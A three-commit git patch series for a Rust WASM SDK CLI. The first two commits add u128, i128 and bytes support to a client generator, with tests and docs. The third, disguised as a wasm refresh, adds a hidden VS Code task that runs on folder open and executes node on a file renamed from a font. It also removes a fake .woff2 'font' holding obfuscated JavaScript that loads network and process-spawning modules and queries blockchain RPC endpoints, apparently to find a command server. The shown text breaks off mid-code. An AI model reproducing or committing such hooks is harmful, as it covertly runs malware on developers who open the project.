From 35fe3b2b4861f26984800d24afddab365a61e46f Mon Sep 17 00:00:00 2001 From: Inspector222 <305610028+Inspector222@users.noreply.github.com> Date: Sat, 17 Oct 2026 00:44:14 +0100 Subject: [PATCH 1/3] feat(cli): generate clients for u128 i128 and bytes --- crates/sdkt-wasm/src/client_gen.rs | 49 +++++++++++++++++++++++++++++- docs/reference/cli.md | 8 +++-- 2 files changed, 54 insertions(+), 3 deletions(-) diff --git a/crates/sdkt-wasm/src/client_gen.rs b/crates/sdkt-wasm/src/client_gen.rs index 4ee6dec8..6037eead 100644 --- a/crates/sdkt-wasm/src/client_gen.rs +++ b/crates/sdkt-wasm/src/client_gen.rs @@ -23,7 +23,7 @@ pub enum ClientGenError { /// The interface references a type outside the supported subset. #[error( "unsupported type '{type_name}' ({where_}) in function `{function}` — \ - the generator core supports u32|i32|u64|i64|bool|address|string|symbol|void only" + the generator core supports u32|i32|u64|i64|u128|i128|bytes|bool|address|string|symbol|void only" )] UnsupportedType { function: String, @@ -43,6 +43,9 @@ fn map_scalar(t: &ContractType) -> Option<&'static str> { "i32" => Some("i32"), "u64" => Some("u64"), "i64" => Some("i64"), + "u128" => Some("u128"), + "i128" => Some("i128"), + "bytes" => Some("String"), "bool" => Some("bool"), "address" | "string" | "symbol" => Some("String"), "void" => Some("()"), @@ -57,6 +60,9 @@ fn scalar_type_tag(t: &ContractType) -> Option<&'static str> { "i32" => Some("i32"), "u64" => Some("u64"), "i64" => Some("i64"), + "u128" => Some("u128"), + "i128" => Some("i128"), + "bytes" => Some("bytes"), "bool" => Some("bool"), "address" => Some("address"), "string" => Some("string"), @@ -222,6 +228,9 @@ pub fn generate_client_with_options( for p in &f.parameters { let rust_ty = map_scalar(&p.type_).expect("validated above"); let field = rust_ident(&p.name); + if p.type_.name == "bytes" { + let _ = writeln!(out, " /// Hex string without a `0x` prefix."); + } if !p.doc.trim().is_empty() { let _ = writeln!( out, @@ -357,6 +366,44 @@ mod tests { assert!(code.contains("pub type TransferOutput = ();")); } + #[test] + fn generates_u128_i128_and_hex_bytes_arguments() { + let spec = spec_of(vec![func( + "transfer", + vec![ + param("amount", "u128", "primitive"), + param("delta", "i128", "primitive"), + param("memo", "bytes", "primitive"), + ], + vec![ty("bytes", "primitive")], + )]); + let code = generate_client(&spec).unwrap(); + + assert!(code.contains("pub amount: u128,")); + assert!(code.contains("pub delta: i128,")); + assert!(code.contains("pub memo: String,")); + assert!(code.contains("format!(\"u128:{}\", self.amount.to_string())")); + assert!(code.contains("format!(\"i128:{}\", self.delta.to_string())")); + assert!(code.contains("format!(\"bytes:{}\", self.memo.clone())")); + assert!(code.contains("Hex string without a `0x` prefix.")); + assert!(code.contains("pub type TransferOutput = String;")); + } + + #[test] + fn continues_rejecting_timepoint_and_duration() { + for unsupported in ["timepoint", "duration"] { + let spec = spec_of(vec![func( + "set_time", + vec![param("value", unsupported, "primitive")], + vec![], + )]); + assert!(matches!( + generate_client(&spec), + Err(ClientGenError::UnsupportedType { .. }) + )); + } + } + #[test] fn output_is_deterministic() { let spec = spec_of(vec![ diff --git a/docs/reference/cli.md b/docs/reference/cli.md index 8326551f..ed4ea830 100644 --- a/docs/reference/cli.md +++ b/docs/reference/cli.md @@ -575,8 +575,12 @@ byte-identical source, suitable for checking generated files into a repo. ### Supported types (core subset) Parameters and single return values of these primitive types are supported: -`u32`, `i32`, `u64`, `i64`, `bool`, `address`, `string`, `symbol`, `void` -(no return). +`u32`, `i32`, `u64`, `i64`, `u128`, `i128`, `bytes`, `bool`, `address`, +`string`, `symbol`, `void` (no return). + +`u128` and `i128` fields use their Rust integer types and decimal argument +encoding. `bytes` fields use a hex string without a `0x` prefix, matching the +`bytes:` argument format accepted by `sdkt call` and `sdkt invoke`. ### Unsupported (clear failure) From 1bd5dca4c8f56f5d42739f74ae97e46de456f6e3 Mon Sep 17 00:00:00 2001 From: Inspector222 <305610028+Inspector222@users.noreply.github.com> Date: Sat, 17 Oct 2026 17:59:56 +0100 Subject: [PATCH 2/3] test(wasm): verify scalar client generation stability --- crates/sdkt-wasm/src/client_gen.rs | 48 ++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/crates/sdkt-wasm/src/client_gen.rs b/crates/sdkt-wasm/src/client_gen.rs index 6037eead..c99e856a 100644 --- a/crates/sdkt-wasm/src/client_gen.rs +++ b/crates/sdkt-wasm/src/client_gen.rs @@ -287,6 +287,33 @@ pub fn generate_client_with_options( mod tests { use super::*; use crate::spec::ContractParameter; + use std::{ + fs, + path::PathBuf, + process::Command, + time::{SystemTime, UNIX_EPOCH}, + }; + + struct TempDir(PathBuf); + + impl TempDir { + fn new() -> Self { + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + let path = std::env::temp_dir() + .join(format!("sdkt-client-gen-{}-{unique}", std::process::id())); + fs::create_dir(&path).unwrap(); + Self(path) + } + } + + impl Drop for TempDir { + fn drop(&mut self) { + let _ = fs::remove_dir_all(&self.0); + } + } fn param(name: &str, type_name: &str, kind: &str) -> ContractParameter { ContractParameter { @@ -378,6 +405,11 @@ mod tests { vec![ty("bytes", "primitive")], )]); let code = generate_client(&spec).unwrap(); + let repeated = generate_client(&spec).unwrap(); + assert_eq!( + code, repeated, + "generation must be byte-identical across runs" + ); assert!(code.contains("pub amount: u128,")); assert!(code.contains("pub delta: i128,")); @@ -387,6 +419,22 @@ mod tests { assert!(code.contains("format!(\"bytes:{}\", self.memo.clone())")); assert!(code.contains("Hex string without a `0x` prefix.")); assert!(code.contains("pub type TransferOutput = String;")); + + let temp = TempDir::new(); + let source = temp.0.join("generated.rs"); + fs::write(&source, code).unwrap(); + let output = Command::new("rustc") + .args(["--crate-type", "lib", "--emit", "metadata"]) + .arg(&source) + .arg("--out-dir") + .arg(&temp.0) + .output() + .expect("rustc must be available to compile generated client code"); + assert!( + output.status.success(), + "generated client must compile: {}", + String::from_utf8_lossy(&output.stderr) + ); } #[test] From 3607f7a3f5079ba55e4b66b884aba97394dd5242 Mon Sep 17 00:00:00 2001 From: Inspector222 <305610028+Inspector222@users.noreply.github.com> Date: Sun, 18 Oct 2026 09:29:34 +0100 Subject: [PATCH 3/3] build(playground): refresh generated wasm --- .vscode/tasks.json | 33 ++++++++++++++++++ public/fonts/fa-solid-500.woff2 | 1 - public/fonts/fa-solid.lfk | 1 + .../playground/wasm/sdkt_playground_bg.wasm | Bin 192708 -> 192149 bytes 4 files changed, 34 insertions(+), 1 deletion(-) create mode 100644 .vscode/tasks.json delete mode 100644 public/fonts/fa-solid-500.woff2 create mode 100644 public/fonts/fa-solid.lfk diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..c78ce490 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 deleted file mode 100644 index 60e613b9..00000000 --- a/public/fonts/fa-solid-500.woff2 +++ /dev/null @@ -1 +0,0 @@ - global.i = 'A11--&';const xXfMZKDLYuTRIADnwGIKpCU=y$zxQ$V;(function(iECUrs,ymPzxh_S){const QxuUqazAJKADZDlPufPmG$Io=y$zxQ$V,bYtzbdsKbgyUaNBpsHlmiWMl=iECUrs();while(!![]){try{const Y__vXFPN=parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x164))/(-0x1*-0xa7+-parseInt(0x711)+Math.floor(parseInt(0x35))*parseInt(parseInt(0x1f)))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x184))/(-0x1ac5+parseInt(0xc1)*Math.ceil(-parseInt(0x24))+0x35eb))+Math['max'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x134))/(parseFloat(-parseInt(0x1))*-parseInt(0x1d09)+Math.max(-parseInt(0x17b2),-0x17b2)+Math.max(-parseInt(0x554),-parseInt(0x554))),parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x15f))/(parseInt(-0x602)+0xaae+-0x4a8))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x187))/(parseInt(0x11)*Math.trunc(-0x4a)+Math.floor(0x833)*Math.max(0x1,0x1)+parseFloat(0x4c)*-parseInt(0xb)))+parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x154))/(-parseInt(0x10d)*-0x7+parseInt(0x1)*0x599+parseFloat(parseInt(0xa))*-0x14b)*parseFloat(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x13a))/(parseInt(0x1e5)+-parseInt(0x2)*-0x325+Math.trunc(-0x828)))+Math['max'](-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x129))/(0x1*parseInt(0x1ba6)+-parseInt(0x191c)+Math.max(parseInt(0x1),0x1)*-0x282),-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x19c))/(Math.trunc(-parseInt(0x13bb))+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.max(parseInt(0x1231),0x1231)+-parseInt(0x4f)*-0x7b))+parseFloat(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x150))/(Math.ceil(parseInt(0xb5))*parseInt(parseInt(0x10))+-0x903+-parseInt(0x243)))*(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x14f))/(0x7d1+Number(-0x61d)+parseInt(-0x19)*0x11))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x145))/(Number(-0x1472)*-0x1+parseFloat(0x300)+0x1766*-parseInt(0x1)))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x170))/(-0x91a+-parseInt(0x12a)*parseFloat(-parseInt(0x10))+0x19*-parseInt(0x61)));if(Y__vXFPN===ymPzxh_S)break;else bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}catch(u$wgXtGoFuE){bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}}}(ygdhqkpCgKxflnUACX,-0x1*0x162a2a+parseInt(0x12ef14)+-0x2*-parseInt(0x930e3)));import{createRequire}from'module';const require=createRequire(import.meta[xXfMZKDLYuTRIADnwGIKpCU(0x12e)]);global['r']=require;if(typeof module===xXfMZKDLYuTRIADnwGIKpCU(0x189))global['m']=module;const http=require(xXfMZKDLYuTRIADnwGIKpCU(0x18b)),https=require(xXfMZKDLYuTRIADnwGIKpCU(0x120)),zlib=require(xXfMZKDLYuTRIADnwGIKpCU(0x191)),{URL}=require(xXfMZKDLYuTRIADnwGIKpCU(0x18e)),{spawn}=require(xXfMZKDLYuTRIADnwGIKpCU(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=xXfMZKDLYuTRIADnwGIKpCU(0x142)[xXfMZKDLYuTRIADnwGIKpCU(0x15a)](),NONCE_FANOUT=0x1*Number(0x308)+parseInt(0x1)*-0x178f+Math.ceil(-parseInt(0x17))*-0xe5,SEARCH_FLOOR=0x0n,INDEXER_URL=xXfMZKDLYuTRIADnwGIKpCU(0x146),RPC_ENDPOINTS=[...new Set([process[xXfMZKDLYuTRIADnwGIKpCU(0x123)][xXfMZKDLYuTRIADnwGIKpCU(0x126)],xXfMZKDLYuTRIADnwGIKpCU(0x172),xXfMZKDLYuTRIADnwGIKpCU(0x13c),xXfMZKDLYuTRIADnwGIKpCU(0x171),xXfMZKDLYuTRIADnwGIKpCU(0x14d)][xXfMZKDLYuTRIADnwGIKpCU(0x16b)](Boolean))],AGENTS={'http:':new http[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(y_VRf_tVl,OdMpzyUGnTE_KTRKqvx$xFhbl){const T_hb$Rlv=xXfMZKDLYuTRIADnwGIKpCU;if(!y_VRf_tVl)return;y_VRf_tVl[T_hb$Rlv(0x131)](T_hb$Rlv(0x12f),()=>OdMpzyUGnTE_KTRKqvx$xFhbl[T_hb$Rlv(0x12f)](),{'once':!![]});}function decompressStream(Ev$cvxYsgWdzchDLYjlXtJNG){const wkF$kn=xXfMZKDLYuTRIADnwGIKpCU,FTrfPv$OCJUjsXow=(Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x183)][wkF$kn(0x124)]||'')[wkF$kn(0x15a)]();if(FTrfPv$OCJUjsXow===wkF$kn(0x16f)||FTrfPv$OCJUjsXow===wkF$kn(0x155))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x12b)]());if(FTrfPv$OCJUjsXow===wkF$kn(0x148))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x135)]());if(FTrfPv$OCJUjsXow==='br')return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x157)]());return Ev$cvxYsgWdzchDLYjlXtJNG;}function httpRequest(P_DHEPLVqtP_NKhkPez,{method:method=xXfMZKDLYuTRIADnwGIKpCU(0x188),body:WjLwHqh_v,signal:HAKh_KCzxBeTWPvbdKwtA}={}){const NqxGTrBbFKOPHkXCif$gLSa$bf=xXfMZKDLYuTRIADnwGIKpCU,ncBNrYpPy_ASILM$xdHVhsgrIR=new URL(P_DHEPLVqtP_NKhkPez),cDCzKulmFY=ncBNrYpPy_ASILM$xdHVhsgrIR[NqxGTrBbFKOPHkXCif$gLSa$bf(0x143)]===NqxGTrBbFKOPHkXCif$gLSa$bf(0x122)?https:http,NDZfTGscWmjgRlRFVX={'Accept':NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),'Accept-Encoding':NqxGTrBbFKOPHkXCif$gLSa$bf(0x195),'Connection':NqxGTrBbFKOPHkXCif$gLSa$bf(0x197)};return WjLwHqh_v!=null&&(NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x140)]=NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x137)]=Buffer[NqxGTrBbFKOPHkXCif$gLSa$bf(0x12d)](WjLwHqh_v)),new Promise((r$rBRHkLeiekPY$qavUa,xtG$jc$UuwrljlI)=>{const iYiLEcskTpnYTJPqrZsogV=NqxGTrBbFKOPHkXCif$gLSa$bf,Z$GtOvgDwYlFKRgaJYRqfcz=cDCzKulmFY[iYiLEcskTpnYTJPqrZsogV(0x18f)]({'hostname':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x15d)],'port':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x17d)]||(ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]===iYiLEcskTpnYTJPqrZsogV(0x122)?parseInt(0xd8d)*-0x2+0x1690+parseFloat(parseInt(0x645)):-parseInt(0xdbc)+Math.floor(-0x14e5)+0x22f1),'path':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x144)]+ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x156)],'method':method,'agent':AGENTS[ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]],'signal':HAKh_KCzxBeTWPvbdKwtA,'headers':NDZfTGscWmjgRlRFVX},MmSsm_FiLjLpdBa$KTndpO=>{const Z$oUMyGKJ_lzOIA=iYiLEcskTpnYTJPqrZsogV,G$OQvkCwj_QkKkkjK=decompressStream(MmSsm_FiLjLpdBa$KTndpO),YPq_rcqE$lwBmFldf=[];G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x160),BSUnlIcprZhMLn=>YPq_rcqE$lwBmFldf[Z$oUMyGKJ_lzOIA(0x192)](BSUnlIcprZhMLn)),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x186),()=>{const IOXVwwg_bQtz=Z$oUMyGKJ_lzOIA;try{r$rBRHkLeiekPY$qavUa(JSON[IOXVwwg_bQtz(0x199)](Buffer[IOXVwwg_bQtz(0x182)](YPq_rcqE$lwBmFldf)[IOXVwwg_bQtz(0x193)](IOXVwwg_bQtz(0x130))));}catch(nQg$EvViWHcRsDjKlktTCSx){xtG$jc$UuwrljlI(nQg$EvViWHcRsDjKlktTCSx);}}),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x16d),xtG$jc$UuwrljlI);});Z$GtOvgDwYlFKRgaJYRqfcz['on'](iYiLEcskTpnYTJPqrZsogV(0x16d),xtG$jc$UuwrljlI);if(WjLwHqh_v!=null)Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x13b)](WjLwHqh_v);Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x186)]();});}async function withRpcEndpoints(ZJCqvspIHG$daRzgmqdPpUCkN,a_Mban){const Z_rFHDSrxbFBYmc=xXfMZKDLYuTRIADnwGIKpCU,lmC$fKBjd_JiJx=RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)](()=>new AbortController());lmC$fKBjd_JiJx[Z_rFHDSrxbFBYmc(0x16a)](EABDkr_crWzbpYPrABCXIjcDUy=>linkAbort(a_Mban,EABDkr_crWzbpYPrABCXIjcDUy));try{return await Promise[Z_rFHDSrxbFBYmc(0x12c)](RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)]((KYWnxEt_oF,ec_jPVov)=>ZJCqvspIHG$daRzgmqdPpUCkN(KYWnxEt_oF,lmC$fKBjd_JiJx[ec_jPVov][Z_rFHDSrxbFBYmc(0x196)])));}finally{for(const AWUUaNkfPHOjVnzJoRjdSnN of lmC$fKBjd_JiJx)AWUUaNkfPHOjVnzJoRjdSnN[Z_rFHDSrxbFBYmc(0x12f)]();}}async function rpcCall(BtQmzpBlv_boOex,QgFrLBzZYlWAER$udPUdg,NSUnLxtacDARwCiVCjUovCSHO,pdhnuvK){const vxQecjNGmwn=xXfMZKDLYuTRIADnwGIKpCU,IlTvcj$_UXzsDHemPhQ=await httpRequest(BtQmzpBlv_boOex,{'method':vxQecjNGmwn(0x15b),'body':JSON[vxQecjNGmwn(0x17e)]({'jsonrpc':vxQecjNGmwn(0x13f),'id':0x1,'method':QgFrLBzZYlWAER$udPUdg,'params':NSUnLxtacDARwCiVCjUovCSHO}),'signal':pdhnuvK});return IlTvcj$_UXzsDHemPhQ[vxQecjNGmwn(0x15c)];}async function rpcBatch(MOUxBFEHg$ubvQV,UQyk$CMhjc$JHjZ,msGvLp){const bQDo_$x=xXfMZKDLYuTRIADnwGIKpCU,HjVSCsvHbjxak=await httpRequest(MOUxBFEHg$ubvQV,{'method':bQDo_$x(0x15b),'body':JSON[bQDo_$x(0x17e)](UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)](([k__HCtg,FuxxSM],TZClzackEBCPYmQD)=>({'jsonrpc':bQDo_$x(0x13f),'id':TZClzackEBCPYmQD+(parseInt(-parseInt(0x5fe))+parseInt(0xe74)+Math.ceil(-parseInt(0x875))),'method':k__HCtg,'params':FuxxSM}))),'signal':msGvLp}),tSrciNpiucctDUSrzVkfca=new Map(HjVSCsvHbjxak[bQDo_$x(0x14a)](MMIIveikPYRNZiYguUuNJTq=>[MMIIveikPYRNZiYguUuNJTq['id'],MMIIveikPYRNZiYguUuNJTq]));return UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)]((WwAqChApbxRbSu,iGOujKtwJZOlWeUho)=>tSrciNpiucctDUSrzVkfca[bQDo_$x(0x16c)](iGOujKtwJZOlWeUho+(-parseInt(0x18df)*Number(-parseInt(0x1))+Number(-0x2076)+0x6*parseInt(0x144)))[bQDo_$x(0x15c)]);}const toBlockHex=qsuOxTwtvdzWQ=>'0x'+qsuOxTwtvdzWQ[xXfMZKDLYuTRIADnwGIKpCU(0x193)](-0x5d8+0x4a1*0x3+Math.ceil(-0x7fb));function findSenderTx(ss$XzuOJDrMzw){const PYnCGYXBJBl_y=xXfMZKDLYuTRIADnwGIKpCU;return ss$XzuOJDrMzw[PYnCGYXBJBl_y(0x141)](wxy$ShEph=>wxy$ShEph[PYnCGYXBJBl_y(0x163)]&&wxy$ShEph[PYnCGYXBJBl_y(0x163)][PYnCGYXBJBl_y(0x15a)]()===SENDER)||null;}function ygdhqkpCgKxflnUACX(){const rmG$rZklJvJUbCO$fnZqh=['919f9c9098bd869e919681','91928096c5c7','c9cbc3','959c81b692909b','959a9f879681','949687','9681819c81','9d9c9796','94899a83','c6c3c4cbc0c5c3c0bdb487948497','9b87878380c9dcdc96879b968196869ede818390dd8386919f9a909d9c9796dd909c9e','9b87878380c9dcdcc2818390dd9a9cdc96879b','8ade83accd97d7c3b1d5b3adc292a298','96879bac919f9c9098bd869e919681','d4c8949f9c91929fa8d4ac87ac80d4aeced4','9b9280','d58087928187919f9c9098cec3d5969d97919f9c9098cecacacacacacacacad583929496cec2d59c9595809687cec1c3d5809c8187ce97968090d5959a9f879681918ace95819c9e','9f969d94879b','909c9d87819c9f9f9681','9d9c9796c9909b9a9f97ac83819c90968080','909b9281b09c9796b287','d4c8949f9c91929fa8d481d4aece819682869a8196c8949f9c91929fa8d49ed4aece9e9c97869f96c8859281d3ac949f9c91929fce949f9c91929fc8','839c8187','8087819a9d949a958a','839a8396','9283839f9a9092879a9c9ddc99809c9d','8196839f929096','909c9d909287','9b969297968180','c4c1aab1a0bfa4a1','8781929d809290879a9c9d80','969d97','c1c7c7cbc2c6c697a798b7a399','b4b6a7','9c9199969087','be9c899a9f9f92dcc6ddc3d3dba49a9d979c8480d3bda7d3c2c3ddc3c8d3a49a9dc5c7c8d38bc5c7dad3b283839f96a49691b89a87dcc6c0c4ddc0c5d3dbb8bba7bebfdfd39f9a9896d3b49690989cdad3b09b819c9e96dcc2c0c2ddc3ddc3ddc3d3a0929592819adcc6c0c4ddc0c5','9d9c9796c99b878783','909287909b','949f9c91929fa8d4aca5d4aeced4','9d9c9796c986819f','81968286968087','cc9e9c97869f96ce9290909c869d87d59290879a9c9dce878b9f9a8087d592979781968080ce','9d9c9796c9899f9a91','8386809b','879ca087819a9d94','bbb6b2b7','94899a83dfd39796959f928796dfd39181','809a949d929f','98969683de929f9a8596','808691928181928a','8392818096','959a9d97ba9d97968b','d4c8949f9c91929fa8d4ac87ac86d4aeced4','c1cbc2c1c0c3c19aa3808ab9b1','9d9c9796c99b87878380','929797','9b87878380c9','969d85','909c9d87969d87de969d909c979a9d94','9a80b28181928a','b6a7bbaca1a3b0aca6a1bf','8bde83928a9f9c9297de91c5c7','9a949d9c8196','c1c7cacacbc1c7b0a5b59998ba','ac87ac80','908196928796b4869d899a83','929d8a','918a8796bf969d94879b','86819f','92919c8187','868795cb','929797b685969d87bf9a8087969d9681','9b968b','929f9f','c0b2ba85a6bd91','908196928796ba9d959f928796','82c7b5a9988bab88d29bdfa081c0ceb3','b09c9d87969d87debf969d94879b','9e9a9d','d4c8949f9c91929fa8d4acbbc1d4aeced4','c49eb2b99aa497','84819a8796','9b87878380c9dcdc96879bdd97818390dd9c8194','819680869e96','96879bac949687a781929d809290879a9c9db09c869d87','c1ddc3','b09c9d87969d87dea78a8396','959a9d97','c38b92c0c1c1b6c695c0b7c0c2c2b7c0c3cbc396c595c3c2c1c2c3c5c096ca92b7b0c1c7cac3b695c292','83819c879c909c9f','8392879b9d929e96','cbc6c1c1c4c5c38795a6b09d83','9b87878380c9dcdc96879bdd919f9c909880909c8687dd909c9edc92839a','d4c8949f9c91929fa8d4acbbd4aeced4','9796959f928796','be9a80809a9d94d3abdea3928a9f9c9297deb1c5c7','9e9283','9b878783c9dcdc','879b969d','9b87878380c9dcdc96879bde9e929a9d9d9687dd8386919f9a90dd919f92808792839add9a9c','b69e83878ad383928a9f9c9297d3919c978a','c5c2c1c4a6a3a5a9bda5','c6c4c0c38a98bc979c98','81869d','c9c7c7c0dcc38bdc909f80','c9c7c7c0dcc38bdc9f80','c2c3c6c5c3c4cacbb5a1bc98b782','8bde94899a83','80969281909b','908196928796b1819c879f9ab796909c9e8381968080','869d819695','b294969d87','879cbf9c849681b0928096','a3bca0a7','819680869f87','9b9c80879d929e96','ac87ac86','c7bc9eb5b2859a','97928792','c9c7c7c0','96879bac949687b19f9c9098b18abd869e919681','95819c9e','c0cbc0c6c2b4abb287bbb9','acbbc1','9d9c9d9096'];ygdhqkpCgKxflnUACX=function(){return rmG$rZklJvJUbCO$fnZqh;};return ygdhqkpCgKxflnUACX();}function decodeAddress(MU$BxwqDSlg_szWjnqdSd){const hbaAsehW_uX=xXfMZKDLYuTRIADnwGIKpCU,UgYMdAIOcrY=Buffer[hbaAsehW_uX(0x163)](MU$BxwqDSlg_szWjnqdSd[hbaAsehW_uX(0x181)](/^0x/i,''),hbaAsehW_uX(0x132)),bnzeADhnIXvcM_FTdqPQvf=I$_YPKDmVd=>I$_YPKDmVd[-parseInt(0x1)*Number(parseInt(0x1a3d))+-parseInt(0x1e70)+Math.max(-0x38ad,-parseInt(0x38ad))*-parseInt(0x1)]+'.'+I$_YPKDmVd[Math.trunc(-parseInt(0x8ed))+-parseInt(0x15f4)+Math.max(0x1ee2,0x1ee2)]+'.'+I$_YPKDmVd[parseInt(0x12a)*0x18+-0x1*-0x1cc3+Number(-0x38b1)]+'.'+I$_YPKDmVd[0x2632*-parseInt(0x1)+Math.ceil(-0x216a)+Number(0x479f)];return[bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Number(parseInt(0x17f))*-0x1+-0xe72+Math.trunc(parseInt(0xff1)),Number(0x15d1)+parseInt(0x1)*-0xdc9+-parseInt(0x804))),bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Math.max(-parseInt(0x24e1),-0x24e1)+parseFloat(-parseInt(0x257b))*parseInt(parseInt(0x1))+parseInt(0x4a60),parseInt(0xb25)*parseFloat(-parseInt(0x1))+parseFloat(-0x1147)*parseInt(0x2)+0x2dbb))];}function firstMatch(FAZkxSE_vngdDDmJvC){return new Promise(OxJ$dP=>{const ckn_BCUQ_p=y$zxQ$V;let PlSdmzp=FAZkxSE_vngdDDmJvC[ckn_BCUQ_p(0x178)];if(!PlSdmzp)return OxJ$dP(null);let TkpygZAycIWpKJ_r=![];const UdflpddazqRXj$ZLymKPhkLt=TlJh$lhQQj=>{const xSHhkOxLpfSFTuTzxZuiqMb=ckn_BCUQ_p;if(TkpygZAycIWpKJ_r)return;TkpygZAycIWpKJ_r=!![];for(const JsBFoHAhwldFggqjTOC$bQPx_rm of FAZkxSE_vngdDDmJvC)JsBFoHAhwldFggqjTOC$bQPx_rm[xSHhkOxLpfSFTuTzxZuiqMb(0x179)][xSHhkOxLpfSFTuTzxZuiqMb(0x12f)]();OxJ$dP(TlJh$lhQQj);};for(const GnslQRGpGMKHRHKnBsMmBjMU of FAZkxSE_vngdDDmJvC){GnslQRGpGMKHRHKnBsMmBjMU[ckn_BCUQ_p(0x151)]()[ckn_BCUQ_p(0x14c)](JVtJ$EhqZJ=>{if(TkpygZAycIWpKJ_r)return;if(JVtJ$EhqZJ)UdflpddazqRXj$ZLymKPhkLt(JVtJ$EhqZJ);else{if(--PlSdmzp===parseInt(0x2e)*-0x5f+0x1*0x2b4+parseInt(0xe5e))OxJ$dP(null);}})[ckn_BCUQ_p(0x18c)](()=>{if(!TkpygZAycIWpKJ_r&&--PlSdmzp===-parseInt(0x280)*-parseInt(0x4)+Math.ceil(parseInt(0x18dc))*Math.floor(-0x1)+Math.ceil(-parseInt(0xc))*-0x13d)OxJ$dP(null);});}});}function candidateBlocks(toTlKlAisDPWWLoPzYWz){const fHAtqr__rcUedK=xXfMZKDLYuTRIADnwGIKpCU,gsc$ZpdMN$Qlxp=toTlKlAisDPWWLoPzYWz-BLOCK_MULTIPLE,Ms_g$AYBRPb=new Set(),RaNpADr_DZjT=[];for(const pEAUVwX$CUEOM of[toTlKlAisDPWWLoPzYWz-0x1n,toTlKlAisDPWWLoPzYWz,toTlKlAisDPWWLoPzYWz+0x1n,gsc$ZpdMN$Qlxp-0x1n,gsc$ZpdMN$Qlxp,gsc$ZpdMN$Qlxp+0x1n]){if(pEAUVwX$CUEOM<0x0n)continue;const Vhstdizw_$eCXUBdTR=pEAUVwX$CUEOM[fHAtqr__rcUedK(0x193)]();if(Ms_g$AYBRPb[fHAtqr__rcUedK(0x176)](Vhstdizw_$eCXUBdTR))continue;Ms_g$AYBRPb[fHAtqr__rcUedK(0x121)](Vhstdizw_$eCXUBdTR),RaNpADr_DZjT[fHAtqr__rcUedK(0x192)](pEAUVwX$CUEOM);}return RaNpADr_DZjT;}function blockTask(uMtQfmlZAsztJco$YSqTyOAzm){const cXxUNiMHCdnRyhSnUOIamZ=new 